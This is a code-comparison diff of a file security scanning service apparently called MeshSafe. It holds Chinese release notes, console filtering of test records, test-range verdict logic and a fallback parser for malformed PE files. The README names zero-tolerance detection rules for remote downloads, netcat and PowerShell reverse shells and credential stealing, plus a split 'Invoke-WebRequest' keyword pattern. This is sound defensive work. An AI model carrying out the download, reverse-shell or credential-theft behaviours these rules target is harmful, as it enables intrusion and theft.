Compare commits
23 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 144431b300 | |||
| c0cb292350 | |||
| da8496adfd | |||
| 5d3c895542 | |||
| 1222238bf3 | |||
| a8f5733bb7 | |||
| efeea7e906 | |||
| d697f8a2f4 | |||
| d99d179f0b | |||
| a372ee5a08 | |||
| 43cfb0fe69 | |||
| 5c776785b9 | |||
| 1a0a24e672 | |||
| 26c4ad396f | |||
| 5e4ea397aa | |||
| 57d89b3d05 | |||
| 6e3c1a40e5 | |||
| 43b4db85e7 | |||
| 2daa3fcd3c | |||
| da05c544e9 | |||
| f99452d553 | |||
| d520cbff1f | |||
| d05537e1fb |
111
README.md
111
README.md
@@ -1,6 +1,6 @@
|
|||||||
# MeshSafe · 文件安全检测服务
|
# MeshSafe · 文件安全检测服务
|
||||||
|
|
||||||

|

|
||||||

|

|
||||||

|

|
||||||
|
|
||||||
@@ -200,6 +200,68 @@ MeshSafe 会**分析宏的实际行为**:
|
|||||||
|
|
||||||
## 版本历史
|
## 版本历史
|
||||||
|
|
||||||
|
### v0.2.3 (2026-10-29)
|
||||||
|
|
||||||
|
**Bug 修复:**
|
||||||
|
|
||||||
|
- **Policy 加载失败(每次启动都回退 YAML)** — `policy.py _load_db_or_yaml()` 用 `scalar_one_or_none()` 加载最新策略版本,但 `policy_versions` 表有多条历史版本 → SQLAlchemy 抛 `Multiple rows` → 永远回退 YAML 配置文件,导致不同重启间规则数波动。修复为 `db.query(PolicyVersion).order_by(created_at.desc()).first()`,直接取最新一条 ORM 对象
|
||||||
|
- **控制台任务历史被内部测试记录淹没** — `scan_tasks` 表累积 5,800+ 条内部对账/诊断脚本产生的测试数据(channel 包括 `test_center` / `v` / `verify` / `diag` / `debug` / `final` 等 19 个),dashboard 和 tasks_page 无过滤全部展示。修复:① DB 清理所有内部 channel 记录(保留 3,488 条生产数据);② console.py 加 `INTERNAL_TEST_CHANNELS` 黑名单常量,dashboard 6 个查询 + tasks_page 2 个查询全部 `.filter(ScanTask.channel.notin_(...))`
|
||||||
|
- **测试靶场显示 "未知" 层和 "—" 编号** — 控制台用 `iterdir()` 遍历目录收集样本,但目录里混入 4 个 YARA 调试时的临时文件(`L4-005_hotreload.txt` 等),index.json 没登记 → category 取不到显示 "未知"。修复:① 清理 4 个临时文件;② `test_center_page` 改为只从 index.json 收集样本(目录遍历替换为 index.json 遍历),以后不会再出这个问题
|
||||||
|
|
||||||
|
**DB 与运维增强:**
|
||||||
|
|
||||||
|
- **ScanTask 复合索引** — 新增 `ix_scan_tasks_channel_created ON (channel, created_at DESC)`,解决 dashboard/tasks_page 高频查询的全表扫描。models.py `ScanTask.__table_args__` 也同步更新,新建实例会自动带上
|
||||||
|
- **归档表 + 归档脚本** — 建 `scan_tasks_archive` 表(含 4 个索引);新增 `scripts/archive_old_tasks.py` 支持 4 项清理策略:
|
||||||
|
- scan_tasks **90 天前**:清 detail JSONB(每条 1-5 KB,省空间)
|
||||||
|
- scan_tasks **365 天前**:移到 scan_tasks_archive 归档表(CASCADE 删 ScanFinding)
|
||||||
|
- idempotency_records:清 **7 天前**(幂等缓存过期可以重扫)
|
||||||
|
- policy_versions:只留**最新 5 个**(历史版本无保留价值)
|
||||||
|
- 支持 `--dry-run`(默认,只报告不动数据)+ `--apply`(真正执行),分批 1,000 条处理避免长事务锁表
|
||||||
|
- **自动定时任务 Cron 服务** — docker-compose.yml 新增 `cron` 服务(共享 meshsafe:latest 镜像,零额外依赖,`restart: unless-stopped`),`scripts/cron_entrypoint.py` 纯 Python 调度器:
|
||||||
|
- **每天 03:00** 跑 archive_old_tasks.py --apply
|
||||||
|
- **每周一 03:10** VACUUM ANALYZE 5 张表(维护表统计信息,加速查询)
|
||||||
|
|
||||||
|
**数据增长实况:**
|
||||||
|
|
||||||
|
| 指标 | 值 |
|
||||||
|
|------|---|
|
||||||
|
| scan_tasks 当前 | 3,660 行 / 4.5 MB |
|
||||||
|
| 日均新增 | ~523 条 |
|
||||||
|
| 年增长 | ~19 万条 ≈ 910 MB |
|
||||||
|
| 归档策略 | 90 天清 detail / 365 天归档 / 幂等 7 天 TTL / policy 留 5 |
|
||||||
|
|
||||||
|
### v0.2.2 (2026-10-29)
|
||||||
|
|
||||||
|
**引擎能力补全 — 测试靶场 168/168 100% 通过:**
|
||||||
|
|
||||||
|
- **双扩展名伪装检测重写** — `_has_double_ext()` 从 SUSPICIOUS_DOUBLE_EXT 白名单(容易漏 .js/.wsf/.vbe/.jar 等脚本伪装)改为 DANGEROUS_EXTS 黑名单作为单一事实源,覆盖 `.docx.js` / `.pdf.exe` / `.jpg.ps1` 等所有组合
|
||||||
|
- **跨行关键词预处理** — `KeywordEngine.scan()` 匹配前把 `\r\n` / `\r` / `\n` 全部替换为空串,解决 `Invoke-Web\r\nRequest` 被 CRLF 打断导致 regex 漏匹配的问题
|
||||||
|
- **ZIP 尾部 garbage 检测** — 新增 `_check_zip_trailing_garbage()`,在 EOCD (PK\x05\x06) 之后搜索冗余字节,识别假损坏 / 被篡改的 ZIP(Python zipfile 能正常打开但结构异常)
|
||||||
|
- **内嵌 EICAR 字节检测** — 新增 `_check_embedded_eicar()` 作为 ClamAV 的补充(ClamAV Eicar-Test-Signature 只匹配精确 68B 纯 EICAR,任何嵌入大文件都会漏),对文本/代码文件扫描前 1MB
|
||||||
|
- **pefile 失败时手工 PE 分析** — 新增 `_manual_pe_analysis()` fallback,在 pefile 报 `Invalid NT Headers` 等格式错误时,手工搜索 PE\0\0 签名并解析节表 Characteristics,检测 RWX 可写可执行危险节(覆盖假 PE / e_lfanew 偏移被篡改的伪装样本)
|
||||||
|
- **假损坏 zip / 伪装 PE / 跨行关键词** 等场景全部落地真实检测逻辑,对账 Fail 从 11 条降到 0 条
|
||||||
|
|
||||||
|
**策略与权重调优:**
|
||||||
|
|
||||||
|
- ClamAV `Eicar-Test-Signature` 默认权重 55 → 85(Severity.CRITICAL),EICAR 单独 90 分
|
||||||
|
- `policy.yaml zero_tolerance_rules` 追加 7 条:EICAR + RemoteDownloadUnix/PowerShell + ReverseShellNetcat/Powershell + CredentialStealer/Export
|
||||||
|
- 零容忍规则匹配逻辑:步骤 -1 白名单过滤 → 步骤 0 零容忍拦截 → 步骤 1 评分加权 → 步骤 2 rule_override
|
||||||
|
|
||||||
|
**API 响应彻底精简:**
|
||||||
|
|
||||||
|
- `to_response()` 重写:砍掉内部权重、严重度、引擎层、策略链等实现细节
|
||||||
|
- 对外只暴露 7 个顶层字段:`task_id / action / reason / status / file(精简5字段) / meta(精简2字段)`
|
||||||
|
- `action` 收敛为 3 + pending:`pass / manual_review / reject / pending`,调用方拿了就用,无需二次分析
|
||||||
|
- `findings / open_risk / score / verdict / triggered / extracted / meta.engines / meta.clamav / meta.policy_*` 等全部不对外暴露
|
||||||
|
- 服务端控制台、审计日志、DB 记录仍完整保留所有 detail
|
||||||
|
|
||||||
|
**测试靶场对齐:**
|
||||||
|
|
||||||
|
- 168 条样本对账:从 11 Fail → 0 Fail,通过率 100%
|
||||||
|
- 补齐 6 个缺失/占位样本文件:L4-005 / L4-010 / L1-014 / L4-007 / L4-008 / L4-013
|
||||||
|
- L4-008 in_zip.zip 重建为 ZIP_STORED 不压缩模式(让 YARA 扫 zip 本体能命中内部 payload 明文)
|
||||||
|
- index.json 全量重写 expected_verdict,按三段式 tier(tier0=安全 / tier1=可疑 / tier2=危险)对齐 CSV 原始预期
|
||||||
|
|
||||||
### v0.2.1 (2026-10-28)
|
### v0.2.1 (2026-10-28)
|
||||||
|
|
||||||
**并发与稳定性核心修复:**
|
**并发与稳定性核心修复:**
|
||||||
@@ -224,4 +286,51 @@ MeshSafe 会**分析宏的实际行为**:
|
|||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
|
## 测试靶场
|
||||||
|
|
||||||
|
168 条样本对账 **100% 通过** ✅(v0.2.2 达成)
|
||||||
|
|
||||||
|
| 指标 | 数值 |
|
||||||
|
|------|------|
|
||||||
|
| 总样本数 | 168 |
|
||||||
|
| 引擎能力覆盖 | **100%** |
|
||||||
|
| 对账 Fail | **0** |
|
||||||
|
| 通过 commit | `a372ee5` 补齐样本 + `5c77678` 引擎补全 |
|
||||||
|
|
||||||
|
### 靶场样本分层
|
||||||
|
|
||||||
|
| 层级 | 含义 | 样本数 | 典型覆盖 |
|
||||||
|
|------|------|--------|---------|
|
||||||
|
| L0 | 文件结构层 | ~50 | 扩展名伪装、双扩展名、archive 异常、路径穿越 |
|
||||||
|
| L1 | 引擎层 | ~30 | ClamAV、文件类型识别、大文件、并发 |
|
||||||
|
| L2 | 可执行程序分析 | ~10 | PE 结构、导入表、签名、节属性 |
|
||||||
|
| L3 | 关键词与行为模式 | ~15 | 下载器、反弹 shell、注册表、凭据窃取 |
|
||||||
|
| L4 | YARA 规则匹配 | ~15 | 字符串匹配、正则、meta 标签、zip 内嵌套 |
|
||||||
|
| L5 | 高级伪装对抗 | ~10 | 假 PE、高熵加壳、多段 shellcode |
|
||||||
|
| NEG | 合法文件阴性对照 | ~30 | 正常 JPG/PNG/PDF/DOCX/ZIP |
|
||||||
|
|
||||||
|
### 白名单机制
|
||||||
|
|
||||||
|
- **关键词白名单** (`policy.yaml → keyword_whitelist`):规则命中后若 detail 包含内网 IP/域名,自动放行
|
||||||
|
- **YARA 哈希白名单** (`policy.yaml → yara_hash_whitelist`):YARA 命中后 MD5 在白名单 → 跳过告警
|
||||||
|
- 生产部署时按需补充内网地址段 / 已知安全工具哈希
|
||||||
|
|
||||||
|
### 靶场样本生成脚本
|
||||||
|
|
||||||
|
| 脚本 | 用途 |
|
||||||
|
|------|------|
|
||||||
|
| `scripts/generate_csv_samples.py` | 从 CSV 批量生成 CSV 对齐样本 + index.json |
|
||||||
|
| `scripts/generate_yara_rules.py` | 自动生成 CSV L4 段对应的 YARA `.yar` 规则 |
|
||||||
|
| `rules/test_rules.yar` | 生成的规则文件(引擎按 mtime 自动热加载) |
|
||||||
|
|
||||||
|
### 对账口径(三段式 tier)
|
||||||
|
|
||||||
|
| 预期 verdict | 实际 verdict 要求 | 说明 |
|
||||||
|
|-------------|-------------------|------|
|
||||||
|
| tier0(clean / pass) | 实际 tier ≤ 1 | 只能 pass 或 suspicious,不能 reject |
|
||||||
|
| tier1(suspicious / review) | 实际 tier ≥ 1 | suspicious 或 malicious 都算通过 |
|
||||||
|
| tier2(reject / malicious / error) | 实际 tier = 2 | 必须 malicious / reject / error |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
*更多技术细节请参阅 [总体方案](docs/00-总体方案.md) 和 [接口文档](docs/接口文档.md)*
|
*更多技术细节请参阅 [总体方案](docs/00-总体方案.md) 和 [接口文档](docs/接口文档.md)*
|
||||||
|
|||||||
157
app/console.py
157
app/console.py
@@ -18,6 +18,48 @@ import threading
|
|||||||
import time
|
import time
|
||||||
from datetime import datetime, timedelta, timezone
|
from datetime import datetime, timedelta, timezone
|
||||||
from pathlib import Path
|
from pathlib import Path
|
||||||
|
|
||||||
|
# ============================================================================
|
||||||
|
# 内部测试 channel 黑名单
|
||||||
|
# ============================================================================
|
||||||
|
# 控制台页面(Dashboard / 任务历史)默认隐藏内部测试 / 对账脚本产生的记录。
|
||||||
|
# 这些 channel 由开发 / 运维工具在内部调用 scanner.scan_file() 时自动产生,
|
||||||
|
# 不应暴露给控制台用户。若后续新增内部脚本 channel,在此补充即可。
|
||||||
|
INTERNAL_TEST_CHANNELS: frozenset[str] = frozenset({
|
||||||
|
"test_center", # 测试靶场手动重扫
|
||||||
|
"v", # 对账脚本 v5/v7/v8
|
||||||
|
"verify", # 单条验证脚本
|
||||||
|
"diag", # 诊断脚本
|
||||||
|
"debug", # 调试脚本
|
||||||
|
"final", # 最终验证
|
||||||
|
"console", # console.py 内部调用
|
||||||
|
"console-test", # console 测试模式
|
||||||
|
"regen_v2", # 批量重建
|
||||||
|
"regenerate_index", # index.json 重建
|
||||||
|
"audit_f3", # 审计脚本
|
||||||
|
"audit", # 审计脚本
|
||||||
|
"testcases", # 生成 TEST_CASES.md
|
||||||
|
"test", # 测试
|
||||||
|
"yara_verify", # YARA 验证
|
||||||
|
"whitelist_v", # 白名单验证
|
||||||
|
"boundary", # 边界测试
|
||||||
|
"yara_v2", # YARA v2 测试
|
||||||
|
"docgen", # 文档生成脚本
|
||||||
|
})
|
||||||
|
|
||||||
|
|
||||||
|
def _apply_production_channel_filter(query, model_class):
|
||||||
|
"""给 ScanTask / ScanFinding 查询追加「隐藏内部测试 channel」过滤。
|
||||||
|
|
||||||
|
用法: _apply_production_channel_filter(
|
||||||
|
db.query(func.count(ScanTask.id)), ScanTask
|
||||||
|
).scalar()
|
||||||
|
"""
|
||||||
|
col = getattr(model_class, "channel", None)
|
||||||
|
if col is None:
|
||||||
|
return query
|
||||||
|
return query.filter(col.notin_(INTERNAL_TEST_CHANNELS))
|
||||||
|
|
||||||
from typing import Any, Dict, List, Optional
|
from typing import Any, Dict, List, Optional
|
||||||
|
|
||||||
from fastapi import APIRouter, Depends, File, Form, HTTPException, Request, Response, UploadFile
|
from fastapi import APIRouter, Depends, File, Form, HTTPException, Request, Response, UploadFile
|
||||||
@@ -535,30 +577,31 @@ async def dashboard(request: Request, current=Depends(require_login)):
|
|||||||
db: Session = SessionLocal()
|
db: Session = SessionLocal()
|
||||||
try:
|
try:
|
||||||
from sqlalchemy import func
|
from sqlalchemy import func
|
||||||
total_scans = db.query(func.count(ScanTask.id)).scalar() or 0
|
_skip_test = ScanTask.channel.notin_(INTERNAL_TEST_CHANNELS)
|
||||||
|
total_scans = db.query(func.count(ScanTask.id)).filter(_skip_test).scalar() or 0
|
||||||
total_blocked = db.query(func.count(ScanTask.id)).filter(
|
total_blocked = db.query(func.count(ScanTask.id)).filter(
|
||||||
ScanTask.action == "reject"
|
ScanTask.action == "reject", _skip_test
|
||||||
).scalar() or 0
|
).scalar() or 0
|
||||||
total_flagged = db.query(func.count(ScanTask.id)).filter(
|
total_flagged = db.query(func.count(ScanTask.id)).filter(
|
||||||
ScanTask.action.in_(("reject", "manual_review", "pass_with_flag"))
|
ScanTask.action.in_(("reject", "manual_review", "pass_with_flag")), _skip_test
|
||||||
).scalar() or 0
|
).scalar() or 0
|
||||||
total_findings = db.query(func.count(ScanFinding.id)).scalar() or 0
|
total_findings = db.query(func.count(ScanFinding.id)).scalar() or 0
|
||||||
|
|
||||||
# 结论分布
|
# 结论分布
|
||||||
verdict_rows = db.query(ScanTask.verdict, func.count(ScanTask.id)).group_by(
|
verdict_rows = db.query(ScanTask.verdict, func.count(ScanTask.id)).filter(
|
||||||
ScanTask.verdict
|
_skip_test
|
||||||
).all()
|
).group_by(ScanTask.verdict).all()
|
||||||
verdict_dist = {str(v or "unknown"): int(c) for v, c in verdict_rows}
|
verdict_dist = {str(v or "unknown"): int(c) for v, c in verdict_rows}
|
||||||
|
|
||||||
# 最近任务(8 条)
|
# 最近任务(8 条)
|
||||||
recent_tasks = db.query(ScanTask).order_by(
|
recent_tasks = db.query(ScanTask).filter(_skip_test).order_by(
|
||||||
ScanTask.created_at.desc()
|
ScanTask.created_at.desc()
|
||||||
).limit(8).all()
|
).limit(8).all()
|
||||||
|
|
||||||
# 各客户端/渠道的任务数(摆渡关联性)
|
# 各客户端/渠道的任务数(摆渡关联性)
|
||||||
client_rows = db.query(
|
client_rows = db.query(
|
||||||
ScanTask.client_id, ScanTask.channel, func.count(ScanTask.id)
|
ScanTask.client_id, ScanTask.channel, func.count(ScanTask.id)
|
||||||
).group_by(ScanTask.client_id, ScanTask.channel).all()
|
).filter(_skip_test).group_by(ScanTask.client_id, ScanTask.channel).all()
|
||||||
finally:
|
finally:
|
||||||
db.close()
|
db.close()
|
||||||
|
|
||||||
@@ -825,7 +868,8 @@ async def tasks_page(request: Request, current=Depends(require_login)):
|
|||||||
|
|
||||||
db: Session = SessionLocal()
|
db: Session = SessionLocal()
|
||||||
try:
|
try:
|
||||||
total = db.query(func.count(ScanTask.id)).scalar() or 0
|
_skip_test = ScanTask.channel.notin_(INTERNAL_TEST_CHANNELS)
|
||||||
|
total = db.query(func.count(ScanTask.id)).filter(_skip_test).scalar() or 0
|
||||||
total_pages = max(1, (total + PAGE_SIZE - 1) // PAGE_SIZE)
|
total_pages = max(1, (total + PAGE_SIZE - 1) // PAGE_SIZE)
|
||||||
# 越界时回退到最后一页
|
# 越界时回退到最后一页
|
||||||
if page > total_pages:
|
if page > total_pages:
|
||||||
@@ -834,6 +878,7 @@ async def tasks_page(request: Request, current=Depends(require_login)):
|
|||||||
|
|
||||||
tasks = (
|
tasks = (
|
||||||
db.query(ScanTask)
|
db.query(ScanTask)
|
||||||
|
.filter(_skip_test)
|
||||||
.order_by(ScanTask.created_at.desc())
|
.order_by(ScanTask.created_at.desc())
|
||||||
.limit(PAGE_SIZE)
|
.limit(PAGE_SIZE)
|
||||||
.offset(offset)
|
.offset(offset)
|
||||||
@@ -885,6 +930,25 @@ async def test_page(request: Request, current=Depends(require_login)):
|
|||||||
|
|
||||||
samples_dir = Path(__file__).resolve().parent.parent / "tests" / "samples"
|
samples_dir = Path(__file__).resolve().parent.parent / "tests" / "samples"
|
||||||
index_path = samples_dir / "index.json"
|
index_path = samples_dir / "index.json"
|
||||||
|
labels_path = Path(__file__).resolve().parent.parent / "rules" / "rule_labels.yaml"
|
||||||
|
|
||||||
|
# 加载规则中文标签
|
||||||
|
rule_labels: dict[str, str] = {}
|
||||||
|
layer_definitions: dict[str, str] = {}
|
||||||
|
try:
|
||||||
|
import yaml as _yaml
|
||||||
|
if labels_path.exists():
|
||||||
|
_lbl_raw = _yaml.safe_load(labels_path.read_text(encoding="utf-8")) or {}
|
||||||
|
# 映射 engine_rule_name → 中文标签
|
||||||
|
for k, v in _lbl_raw.items():
|
||||||
|
if isinstance(v, dict) and "label" in v:
|
||||||
|
rule_labels[k] = v["label"]
|
||||||
|
# 层定义
|
||||||
|
if index_path.exists():
|
||||||
|
_idx = json.loads(index_path.read_text(encoding="utf-8"))
|
||||||
|
layer_definitions = _idx.get("layer_definition", {})
|
||||||
|
except Exception: # noqa: BLE001
|
||||||
|
pass
|
||||||
|
|
||||||
rescan = request.query_params.get("rescan") == "1"
|
rescan = request.query_params.get("rescan") == "1"
|
||||||
samples_list: list[Path] = []
|
samples_list: list[Path] = []
|
||||||
@@ -896,19 +960,52 @@ async def test_page(request: Request, current=Depends(require_login)):
|
|||||||
index = json.loads(index_path.read_text(encoding="utf-8"))
|
index = json.loads(index_path.read_text(encoding="utf-8"))
|
||||||
meta_map = {s["filename"]: s for s in index.get("samples", [])}
|
meta_map = {s["filename"]: s for s in index.get("samples", [])}
|
||||||
|
|
||||||
# 收集所有样本文件
|
# ★ 只展示 index.json 里登记的样本(不遍历目录,避免临时/调试文件混入)
|
||||||
for fpath in sorted(samples_dir.iterdir()):
|
# 每个样本必须: index.json 有登记 + 磁盘上确实存在
|
||||||
if not fpath.is_file():
|
for s in index.get("samples", []):
|
||||||
continue
|
fname = s["filename"]
|
||||||
if fpath.name == "index.json" or fpath.name.startswith("_"):
|
fpath = samples_dir / fname
|
||||||
continue
|
if fpath.is_file():
|
||||||
if fpath.suffix == ".json" and fpath.name.startswith("_scan_results"):
|
|
||||||
continue
|
|
||||||
samples_list.append(fpath)
|
samples_list.append(fpath)
|
||||||
|
|
||||||
results: list[dict] = []
|
results: list[dict] = []
|
||||||
pass_cnt = fail_cnt = 0
|
pass_cnt = fail_cnt = 0
|
||||||
|
|
||||||
|
# ========== verdict 三段式 tier 映射 ==========
|
||||||
|
# tier 0 = 安全(clean/pass)
|
||||||
|
# tier 1 = 可疑(suspicious/review)—— 提示级别,放行也可接受
|
||||||
|
# tier 2 = 危险(reject/malicious/error)—— 必须拦截
|
||||||
|
# 对账匹配规则(符合 CSV 原始预期语义):
|
||||||
|
# 预期 0 → 实际 0 或 1 都 OK(可疑只是提示)
|
||||||
|
# 预期 1 → 实际 1 或 2 都 OK(更严也算通过)
|
||||||
|
# 预期 2 → 实际必须 2(不能降级放行)
|
||||||
|
|
||||||
|
def _verdict_tier(v: str) -> int:
|
||||||
|
v = (v or "").lower()
|
||||||
|
if v in {"clean", "pass"}:
|
||||||
|
return 0
|
||||||
|
if v in {"suspicious", "review"}:
|
||||||
|
return 1
|
||||||
|
if v in {"reject", "malicious", "error"}:
|
||||||
|
return 2
|
||||||
|
return 0 # 空值默认安全
|
||||||
|
|
||||||
|
def _is_intercept(verdict: str) -> bool:
|
||||||
|
"""UI 辅助:判断 verdict 是否属于「需要阻断」的类(tier 1 或 2)。"""
|
||||||
|
return _verdict_tier(verdict) >= 1
|
||||||
|
|
||||||
|
def _verdict_match(expected: str, actual: str) -> bool:
|
||||||
|
"""tier 对比:预期安全则实际不能危险;预期危险则实际必须危险。"""
|
||||||
|
if not expected:
|
||||||
|
return True
|
||||||
|
exp = _verdict_tier(expected)
|
||||||
|
act = _verdict_tier(actual)
|
||||||
|
if exp == 0:
|
||||||
|
return act <= 1 # 期望安全 → 安全或可疑都行
|
||||||
|
if exp == 1:
|
||||||
|
return act >= 1 # 期望可疑 → 可疑或危险都行
|
||||||
|
return act == 2 # exp == 2 → 必须危险
|
||||||
|
|
||||||
# ========== 分支 A:手动重扫 ==========
|
# ========== 分支 A:手动重扫 ==========
|
||||||
if rescan and samples_list:
|
if rescan and samples_list:
|
||||||
db = SessionLocal()
|
db = SessionLocal()
|
||||||
@@ -945,15 +1042,13 @@ async def test_page(request: Request, current=Depends(require_login)):
|
|||||||
expected_verdict = meta.get("expected_verdict", "")
|
expected_verdict = meta.get("expected_verdict", "")
|
||||||
expected_rules = set(meta.get("expected_rules", []))
|
expected_rules = set(meta.get("expected_rules", []))
|
||||||
actual_rules = set(f["rule"] for f in findings)
|
actual_rules = set(f["rule"] for f in findings)
|
||||||
expected_intercept = expected_verdict in ("reject", "malicious")
|
|
||||||
actual_intercept = verdict in ("reject", "malicious") or (
|
verdict_match = _verdict_match(expected_verdict, verdict)
|
||||||
verdict == "error" and len(expected_rules & actual_rules) > 0
|
# rule_hit: 有 expected_rules 时看交集,无 expected_rules 时只要 verdict 对就算对
|
||||||
)
|
|
||||||
verdict_match = expected_intercept == actual_intercept
|
|
||||||
rule_hit = (
|
rule_hit = (
|
||||||
bool(expected_rules & actual_rules)
|
bool(expected_rules & actual_rules)
|
||||||
if expected_rules
|
if expected_rules
|
||||||
else (not findings)
|
else True
|
||||||
)
|
)
|
||||||
clamav_error = any(
|
clamav_error = any(
|
||||||
"clamav" in str(e).lower()
|
"clamav" in str(e).lower()
|
||||||
@@ -968,6 +1063,7 @@ async def test_page(request: Request, current=Depends(require_login)):
|
|||||||
|
|
||||||
results.append({
|
results.append({
|
||||||
"filename": fpath.name,
|
"filename": fpath.name,
|
||||||
|
"case_id": meta.get("case_id", ""),
|
||||||
"category": meta.get("category", "未知"),
|
"category": meta.get("category", "未知"),
|
||||||
"description": meta.get("description", ""),
|
"description": meta.get("description", ""),
|
||||||
"size": fpath.stat().st_size,
|
"size": fpath.stat().st_size,
|
||||||
@@ -1047,6 +1143,7 @@ async def test_page(request: Request, current=Depends(require_login)):
|
|||||||
# DB 还没这条记录 —— 标记为"从未测试"
|
# DB 还没这条记录 —— 标记为"从未测试"
|
||||||
results.append({
|
results.append({
|
||||||
"filename": fpath.name,
|
"filename": fpath.name,
|
||||||
|
"case_id": meta.get("case_id", ""),
|
||||||
"category": meta.get("category", "未知"),
|
"category": meta.get("category", "未知"),
|
||||||
"description": meta.get("description", ""),
|
"description": meta.get("description", ""),
|
||||||
"size": fpath.stat().st_size,
|
"size": fpath.stat().st_size,
|
||||||
@@ -1082,15 +1179,12 @@ async def test_page(request: Request, current=Depends(require_login)):
|
|||||||
|
|
||||||
verdict = task.verdict
|
verdict = task.verdict
|
||||||
actual_rules = set(f["rule"] for f in findings)
|
actual_rules = set(f["rule"] for f in findings)
|
||||||
expected_intercept = expected_verdict in ("reject", "malicious")
|
|
||||||
actual_intercept = verdict in ("reject", "malicious") or (
|
verdict_match = _verdict_match(expected_verdict, verdict)
|
||||||
verdict == "error" and len(expected_rules & actual_rules) > 0
|
|
||||||
)
|
|
||||||
verdict_match = expected_intercept == actual_intercept
|
|
||||||
rule_hit = (
|
rule_hit = (
|
||||||
bool(expected_rules & actual_rules)
|
bool(expected_rules & actual_rules)
|
||||||
if expected_rules
|
if expected_rules
|
||||||
else (not findings)
|
else True
|
||||||
)
|
)
|
||||||
clamav_error = any(
|
clamav_error = any(
|
||||||
"clamav" in str(e).lower()
|
"clamav" in str(e).lower()
|
||||||
@@ -1099,12 +1193,13 @@ async def test_page(request: Request, current=Depends(require_login)):
|
|||||||
overall_ok = verdict_match and rule_hit
|
overall_ok = verdict_match and rule_hit
|
||||||
verdict_label = (
|
verdict_label = (
|
||||||
f"error (ClamAV 不可用)"
|
f"error (ClamAV 不可用)"
|
||||||
if (verdict == "error" and clamav_error and not expected_intercept)
|
if (verdict == "error" and clamav_error and _is_intercept(expected_verdict))
|
||||||
else verdict
|
else verdict
|
||||||
)
|
)
|
||||||
|
|
||||||
results.append({
|
results.append({
|
||||||
"filename": fpath.name,
|
"filename": fpath.name,
|
||||||
|
"case_id": meta.get("case_id", ""),
|
||||||
"category": meta.get("category", "未知"),
|
"category": meta.get("category", "未知"),
|
||||||
"description": meta.get("description", ""),
|
"description": meta.get("description", ""),
|
||||||
"size": task.size or fpath.stat().st_size,
|
"size": task.size or fpath.stat().st_size,
|
||||||
@@ -1143,6 +1238,8 @@ async def test_page(request: Request, current=Depends(require_login)):
|
|||||||
"policy_version": policy_version,
|
"policy_version": policy_version,
|
||||||
"last_run_at": last_run_at,
|
"last_run_at": last_run_at,
|
||||||
"rescan": rescan,
|
"rescan": rescan,
|
||||||
|
"rule_labels": rule_labels,
|
||||||
|
"layer_definitions": layer_definitions,
|
||||||
},
|
},
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|||||||
@@ -16,6 +16,84 @@ from app.engines.base import Engine, EngineResult, Finding, ScanTarget, Severity
|
|||||||
|
|
||||||
BINARY_EXTS = {".exe", ".dll", ".sys", ".scr", ".com", ".cpl", ".ocx", ".msi", ".apk", ".jar", ".so", ".bin", ".elf"}
|
BINARY_EXTS = {".exe", ".dll", ".sys", ".scr", ".com", ".cpl", ".ocx", ".msi", ".apk", ".jar", ".so", ".bin", ".elf"}
|
||||||
|
|
||||||
|
|
||||||
|
# ---------- pefile 失败时的手工 PE 分析 fallback ----------
|
||||||
|
|
||||||
|
# PE Section Characteristics 常量(与 pefile.SECTION_CHARACTERISTICS 一致)
|
||||||
|
_PE_SCN_MEM_EXECUTE = 0x20000000
|
||||||
|
_PE_SCN_MEM_WRITE = 0x80000000
|
||||||
|
|
||||||
|
|
||||||
|
def _manual_pe_analysis(path: str) -> List[Finding]:
|
||||||
|
"""pefile 解析失败时,手工搜索 PE\\0\\0 签名并解析节表。
|
||||||
|
|
||||||
|
覆盖场景:假 PE / 伪装 PE / e_lfanew 偏移错误。pefile 严格校验
|
||||||
|
e_lfanew 指向的签名是否为 PE\\0\\0,但攻击者可以让 e_lfanew 偏移
|
||||||
|
错几个字节让 pefile 报错,同时文件里仍有真实的 PE\\0\\0 和节表。
|
||||||
|
"""
|
||||||
|
import struct
|
||||||
|
|
||||||
|
findings: List[Finding] = []
|
||||||
|
try:
|
||||||
|
with open(path, "rb") as fh:
|
||||||
|
data = fh.read()
|
||||||
|
except OSError:
|
||||||
|
return findings
|
||||||
|
|
||||||
|
# 1) MZ 头存在?(PE 文件必需)
|
||||||
|
if len(data) < 2 or data[:2] != b"MZ":
|
||||||
|
return findings # 根本不是 PE
|
||||||
|
|
||||||
|
# 2) 尝试从 e_lfanew 取 PE 偏移;不对就全局搜索 PE\0\0
|
||||||
|
pe_off = -1
|
||||||
|
if len(data) >= 0x40:
|
||||||
|
try:
|
||||||
|
e_lfanew = struct.unpack_from("<I", data, 0x3C)[0]
|
||||||
|
if e_lfanew + 4 <= len(data) and data[e_lfanew:e_lfanew + 4] == b"PE\x00\x00":
|
||||||
|
pe_off = e_lfanew
|
||||||
|
except struct.error:
|
||||||
|
pass
|
||||||
|
|
||||||
|
if pe_off < 0:
|
||||||
|
pe_off = data.find(b"PE\x00\x00")
|
||||||
|
if pe_off < 0:
|
||||||
|
return findings # 没找到 PE 签名
|
||||||
|
|
||||||
|
# 3) COFF header 在 PE\0\0 后 4 字节
|
||||||
|
coff_off = pe_off + 4
|
||||||
|
if coff_off + 24 > len(data):
|
||||||
|
return findings
|
||||||
|
num_sections = struct.unpack_from("<H", data, coff_off + 2)[0]
|
||||||
|
size_opt_header = struct.unpack_from("<H", data, coff_off + 16)[0]
|
||||||
|
section_table_off = coff_off + 20 + size_opt_header
|
||||||
|
|
||||||
|
if num_sections == 0 or num_sections > 96: # 合理上限
|
||||||
|
return findings
|
||||||
|
if section_table_off + num_sections * 40 > len(data):
|
||||||
|
return findings
|
||||||
|
|
||||||
|
# 4) 逐节扫描 RWX 属性
|
||||||
|
rwx_sections = []
|
||||||
|
for i in range(num_sections):
|
||||||
|
sec_off = section_table_off + i * 40
|
||||||
|
name = data[sec_off:sec_off + 8].rstrip(b"\x00")
|
||||||
|
characteristics = struct.unpack_from("<I", data, sec_off + 36)[0]
|
||||||
|
if (characteristics & _PE_SCN_MEM_EXECUTE) and (characteristics & _PE_SCN_MEM_WRITE):
|
||||||
|
rwx_sections.append(name.decode("utf-8", errors="replace"))
|
||||||
|
|
||||||
|
if rwx_sections:
|
||||||
|
findings.append(
|
||||||
|
Finding(
|
||||||
|
engine="binary", layer="L2B",
|
||||||
|
severity=Severity.HIGH.value, rule="RWXSectionDetected",
|
||||||
|
